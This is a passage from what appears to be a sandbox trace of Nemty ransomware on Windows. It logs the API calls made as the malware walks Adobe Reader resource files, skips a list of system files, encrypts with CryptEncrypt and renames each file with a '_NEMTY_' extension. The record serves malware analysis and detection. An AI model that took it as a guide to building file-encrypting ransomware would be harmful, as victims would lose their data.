lpFileSize=0x653eb70*=18150282790955940) returned 0 [0208.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0208.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.446] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.455] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.455] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.465] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.465] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.465] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.465] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.474] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.474] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.483] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.483] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.493] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.493] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.502] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.502] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.511] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.511] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.521] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.521] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.530] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.530] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.540] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.540] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.546] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.546] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.552] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.552] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0208.552] CloseHandle (hObject=0xffffffff) returned 0 [0208.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0208.552] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0208.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0208.552] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0208.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0208.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0208.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0208.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0208.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0208.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0208.552] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkscs-b5-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkscs-b5-h._nemty_kgobjgd_")) returned 0 [0208.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0208.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0208.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0208.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0208.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0208.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0208.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0208.552] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKscs-B5-V", cAlternateFileName="HKSCS-~2")) returned 1 [0208.552] lstrcmpiW (lpString1="HKscs-B5-V", lpString2=".") returned 1 [0208.552] lstrcmpiW (lpString1="HKscs-B5-V", lpString2="..") returned 1 [0208.552] lstrcmpiW (lpString1="HKscs-B5-V", lpString2="...") returned 1 [0208.553] lstrcmpiW (lpString1="HKscs-B5-V", lpString2="windows") returned -1 [0208.553] lstrcmpiW (lpString1="HKscs-B5-V", lpString2="$RECYCLE.BIN") returned 1 [0208.553] lstrcmpiW (lpString1="HKscs-B5-V", lpString2="rsa") returned -1 [0208.553] lstrcmpiW (lpString1="HKscs-B5-V", lpString2="NTDETECT.COM") returned -1 [0208.553] lstrcmpiW (lpString1="HKscs-B5-V", lpString2="ntldr") returned -1 [0208.553] lstrcmpiW (lpString1="HKscs-B5-V", lpString2="MSDOS.SYS") returned -1 [0208.553] lstrcmpiW (lpString1="HKscs-B5-V", lpString2="IO.SYS") returned -1 [0208.553] lstrcmpiW (lpString1="HKscs-B5-V", lpString2="boot.ini") returned 1 [0208.553] lstrcmpiW (lpString1="HKscs-B5-V", lpString2="boot.ini") returned 1 [0208.553] lstrcmpiW (lpString1="HKscs-B5-V", lpString2="AUTOEXEC.BAT") returned 1 [0208.553] lstrcmpiW (lpString1="HKscs-B5-V", lpString2="ntuser.dat") returned -1 [0208.553] lstrcmpiW (lpString1="HKscs-B5-V", lpString2="desktop.ini") returned 1 [0208.553] lstrcmpiW (lpString1="HKscs-B5-V", lpString2="CONFIG.SYS") returned 1 [0208.553] lstrcmpiW (lpString1="HKscs-B5-V", lpString2="RECYCLER") returned -1 [0208.553] lstrcmpiW (lpString1="HKscs-B5-V", lpString2="BOOTSECT.BAK") returned 1 [0208.553] lstrcmpiW (lpString1="HKscs-B5-V", lpString2="bootmgr") returned 1 [0208.553] lstrcmpiW (lpString1="HKscs-B5-V", lpString2="programdata") returned -1 [0208.553] lstrcmpiW (lpString1="HKscs-B5-V", lpString2="appdata") returned 1 [0208.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKscs-B5-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0208.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKscs-B5-V", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKscs-B5-V", lpUsedDefaultChar=0x0) returned 10 [0208.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0208.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKscs-B5-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0208.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKscs-B5-V", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKscs-B5-V", lpUsedDefaultChar=0x0) returned 10 [0208.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0208.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKscs-B5-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0208.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKscs-B5-V", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKscs-B5-V", lpUsedDefaultChar=0x0) returned 10 [0208.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKscs-B5-V", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0208.553] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HKscs-B5-V", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKscs-B5-V", lpUsedDefaultChar=0x0) returned 10 [0208.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0208.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0208.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0208.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0208.554] Sleep (dwMilliseconds=0x5) [0208.561] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2ff211b0, dwHighDateTime=0x1d561e8)) [0208.561] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2ff211b0, dwHighDateTime=0x1d561e8)) [0208.561] GetLastError () returned 0x5 [0208.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0208.561] GetLastError () returned 0x5 [0208.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0208.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0208.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0208.561] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0208.561] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0208.562] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0208.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0208.562] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="ccHahZ+dGPNFbnudajEnk0oUc55Y8tF7W6xhftodPCAQbP6mQwyvb1/xS4QLuv1g\r\nMqm8DkZ88iNkvTdJ7XQBsSLfxe6SA9cAbG/RdroUpIi3gahj6RQHpkGbuoK+fvqC\r\nK0uI/xPzogYgvQsRfi+At6FnusQ2CXll49fDjr/aFJRQOlEr1l8ixCA/GCg+O1LZ\r\nbrZmwDuvi9j3Ist8SJbYB4Ef3Rdl2fTx4EopLVZDBBo5DnpoSAsCde1/X+dTJKtp\r\nvFHt+7F/AamrriBWO6POtQzYGUDSs7DjkhlyRSCDgRYYrneOEk6JRkLMqWgi23s5\r\nUXOktnXmj9wmDx+58sfWMw==\r\n", pcchString=0x653e91c) returned 1 [0208.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0208.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0208.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0208.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0208.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0208.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0208.562] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkscs-b5-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0208.562] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0208.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0208.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.562] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.572] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.572] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.581] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.581] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.581] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.581] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.591] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0208.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.591] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0208.600] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0208.600] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, 